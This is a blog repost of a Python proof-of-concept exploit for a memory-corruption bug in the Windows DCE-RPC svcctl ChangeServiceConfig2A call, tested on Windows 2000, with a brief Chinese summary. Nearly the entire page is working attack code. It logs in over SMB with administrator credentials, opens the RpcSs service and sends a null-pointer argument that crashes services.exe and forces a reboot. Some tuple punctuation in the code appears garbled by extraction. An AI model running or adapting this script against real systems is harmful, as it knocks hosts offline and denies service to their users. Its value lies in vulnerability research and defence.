MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit

这是一个Python脚本,用于利用MS Windows DCE-RPC svcctl服务的ChangeServiceConfig2A() 0day内存破坏漏洞。脚本详细记录了攻击过程,包括建立会话、连接、创建请求等,并导致目标系统崩溃。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. #!/usr/bin/python
  2. # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
  3. # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
  4. # Tested on Windows 2000 SP4 Polish (all patches)
  5. #
  6. # Requires..
  7. # - Impacket : http://oss.coresecurity.com/projects/impacket.html
  8. # - PyCrypto : http://www.amk.ca/python/code/crypto.html
  9. #
  10. # Details:..
  11. #
  12. # [exploit] Session Setup AndX Request, User: Administrator -->        [target]
  13. # [exploit] Session Setup AndX Response <--                            [target]
  14. # [exploit] Tree Connect AndX Request -->                              [target]
  15. # [exploit] Tree Connect AndX Response <--                             [target]
  16. # [exploit] NT Create AndX Request, Path: /svcctl -->                  [target]
  17. # [exploit] NT Create AndX Response, Fid: 0x4000 <--                   [target]
  18. # [exploit] DCERPC Bind UUID: SVCCTL -->                               [target]
  19. # [exploit] DCERPC Bind_ack <--                                        [target]
  20. # [exploit] SVCCTL OpenSCManagerW request -->                          [target]
  21. # [exploit] SVCCTL OpenSCManagerW response(handle) <--                 [target]
  22. # [exploit] SVCCTL OpenServiceW request -->                            [target]
  23. # [exploit] SVCCTL OpenServiceW response(handle) <--                   [target]
  24. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  25. # [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--              [target]
  26. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  27. # [exploit] SMB Trans Response, Error: Unknown DoS Error <--           [target](crashed)
  28. #
  29. # [Module services]
  30. # Exception C0000005 (ACCESS_VIOLATION reading [00000000])
  31. # -------------------------------------------------------------
  32. # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  33. # EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
  34. # ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  35. # EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  36. # ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
  37. # EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
  38. # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  39. # EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
  40. # EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
  41. #               --> PUSH DWORD PTR [EAX]
  42. #
  43. # [Process services.exe terminated, system reboot]
  44. #
  45. # Just for fun ;]
  46. ##
  47. from impacket.structure import Structure
  48. from impacket.dcerpc import transport
  49. from impacket import uuid
  50. from random import randint
  51. from time import sleep
  52. host = '192.168.0.1'
  53. username = 'Administrator'
  54. password = 'Administrator_Password'
  55. interface = ('svcctl''367abb81-9844-35f1-ad32-98f038001003''2.0')
  56. stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
  57. stringbinding %= {
  58. 'host': host,
  59. 'pipe'interface[0],
  60. }
  61. # random dword
  62. def dword_rand():
  63.    s_dword = 256 ** 4
  64.    return randint(0, s_dword)
  65. # unicode string
  66. def utf16(str):
  67.    return str.encode('utf_16_le')
  68. # MS RPC string
  69. def rpcstr(str, id = 1, unicode_string = 1):
  70.    class foo(Structure):
  71.        alignment = 4
  72.        structure = ()
  73.        if(id == 1):
  74.            structure += (('id''<L')),
  75.        structure += (
  76.            ('max''<L'),
  77.            ('offset''<L=0'),
  78.            ('actual''<L'),
  79.            ('str''%s'),
  80.        )
  81.    query = foo()
  82.    if(id == 1):
  83.        query['id'] = dword_rand()
  84.    query['max'] = len(str)
  85.    query['actual'] = len(str)
  86.    if(unicode_string == 1):
  87.        query['str'] = utf16(str)
  88.    else:
  89.        query['str'] = str
  90.    return query
  91. # MS RPC OpenSCManager
  92. def OpenSCManager(host, access = 1):
  93.    class foo(Structure):
  94.        opnum = 0x0f
  95.        structure = (
  96.            ('str1'':'),
  97.            ('null''<L=0'),
  98.            ('access''<L'),
  99.        )
  100.    query = foo()
  101.    query['str1'] = rpcstr("%s/x00" % (host))
  102.    query['access'] = access
  103.    return query
  104. # MS RPC OpenServiceW
  105. def OpenService(handle, service, access = 1):
  106.    class foo(Structure):
  107.        opnum = 0x10
  108.        structure = (
  109.            ('handle'':'),
  110.            ('str1'':'),
  111.            ('access''<L'),
  112.        )
  113.    query = foo()
  114.    query['handle'] = handle
  115.    query['str1'] = rpcstr("%s/x00" % (service), 0)
  116.    query['access'] = access
  117.    return query
  118. trans = transport.DCERPCTransportFactory(stringbinding)
  119. trans.set_credentials(username, password)
  120. trans.connect()
  121. dce = trans.DCERPC_class(trans)
  122. dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
  123. query = OpenSCManager(host, access = 1)
  124. dce.call(query.opnum, query)
  125. raw = dce.recv()
  126. handle = raw[:20]
  127. query = OpenService(handle, "RpcSs", access = 0xF01FF)
  128. dce.call(query.opnum, query)
  129. raw = dce.recv()
  130. handle = raw[:20]
  131. ##
  132. # ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
  133. #
  134. # typedef struct struct_1 {
  135. #  long elem_1;
  136. #  [switch_is(elem_1)] union union_2 elem_2;
  137. #  } struct_1 ;
  138. #
  139. # typedef [switch_type( unsigned long )] union union_2 {
  140. # [case(1)]  struct struct_3 * elem_1;
  141. # [case(2)]  struct struct_4 * elem_2;
  142. # } union_2;
  143. #
  144. # typedef struct struct_3 {
  145. # [string] char * elem_1;
  146. # } struct_3 ;
  147. #
  148. #
  149. # /* opcode: 0x24, address: 0x0101203B */
  150. #
  151. # long  sub_101203B (
  152. # [in][context_handle] void * arg_1,
  153. # [in] struct struct_1 arg_2
  154. # );
  155. ##
  156. class ChangeServiceConfig2A(Structure):
  157.    opnum = 0x24
  158.    structure = (
  159.        ('context_handle'':'),
  160.        ('switch_is''<L=1'),
  161.        ('case''<L=1'),
  162.        ('struct_3''<L=0x00000000'), # <-- vulnerable argument
  163.      )
  164. query = ChangeServiceConfig2A()
  165. query['context_handle'] = handle
  166. for i in range(0, 2):
  167.    dce.call(query.opnum, query)
  168.    sleep(1)
  169. dce.disconnect()
  170. # EoF

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值